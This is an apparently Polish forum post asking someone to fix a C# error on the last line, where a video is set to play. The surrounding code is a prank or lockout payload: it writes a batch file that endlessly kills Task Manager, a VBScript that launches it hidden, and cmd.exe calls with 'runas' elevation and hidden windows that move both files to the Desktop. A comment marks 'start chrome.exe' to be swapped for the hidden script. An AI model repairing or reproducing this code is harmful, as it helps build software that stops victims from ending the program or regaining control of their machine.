Mam problem z automatycznym włączeniem się filmu w C#. Błąd taki jak w tytule.
Kod: (Błąd jest na samym dole, czyli axWindowsMediaPlayer1.URL) Proszę żeby ktoś naprawił ten kod
using (var client = new WebClient())
{
client.DownloadFile("https://upload.wikimedia.org/wikipedia/commons/b/b4/Edward_Gierek_1980.jpg", "Edward_Gierek_1980.jpg");
}
string path = Directory.GetParent(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)).FullName;
string pulpit = @"\Desktop";
string movex = "move x.bat";
string movey = "move y.vbs";
if (Environment.OSVersion.Version.Major >= 6)
{
path = Directory.GetParent(path).ToString();
Console.WriteLine(path);
}
System.Threading.Thread.Sleep(2000);
player.URL = "computer.mp3";
byte[] byteArray = Encoding.UTF8.GetBytes("y.vbs");
MemoryStream stream = new MemoryStream(byteArray);
StreamWriter File = new StreamWriter("x.bat");
File.Write("@echo off");
File.WriteLine(":1");
File.WriteLine("taskkill /f /im Taskmgr.exe");
File.WriteLine("goto :1");
File.Close();
StreamWriter File1 = new StreamWriter("y.vbs");
File1.Write("Set WshShell = CreateObject(\"WScript.Shell\") ");
File1.WriteLine("WshShell.Run chr(34) & \"x.bat\" & Chr(34), 0");
File1.WriteLine("Set WshShell = Nothing");
File1.Close();
var proc1 = new ProcessStartInfo();
proc1.UseShellExecute = true;
proc1.WorkingDirectory = @"C:\Windows\System32";
proc1.FileName = @"C:\Windows\System32\cmd.exe";
proc1.Verb = "runas";
proc1.Arguments = "/c start chrome.exe"; //ZMIENIĆ NA start y.vbs
proc1.WindowStyle = ProcessWindowStyle.Hidden;
Process.Start(proc1);
//moving batch
var proc2 = new ProcessStartInfo();
proc2.UseShellExecute = true;
proc2.WorkingDirectory = @"C:\Windows\System32";
proc2.FileName = @"C:\Windows\System32\cmd.exe";
proc2.Verb = "runas";
proc2.Arguments = (movex+path+pulpit);
proc2.WindowStyle = ProcessWindowStyle.Hidden;
Process.Start(proc2);
//textBox1.Text = proc2.Arguments;
//moving vbs
var proc3 = new ProcessStartInfo();
proc3.UseShellExecute = true;
proc3.WorkingDirectory = @"C:\Windows\System32";
proc3.FileName = @"C:\Windows\System32\cmd.exe";
proc3.Verb = "runas";
proc3.Arguments = (movey+path+pulpit);
proc3.WindowStyle = ProcessWindowStyle.Hidden;
Process.Start(proc3);
axWindowsMediaPlayer1.URL = Properties.Resources._1080p60__SUPERHOT_greenscreen;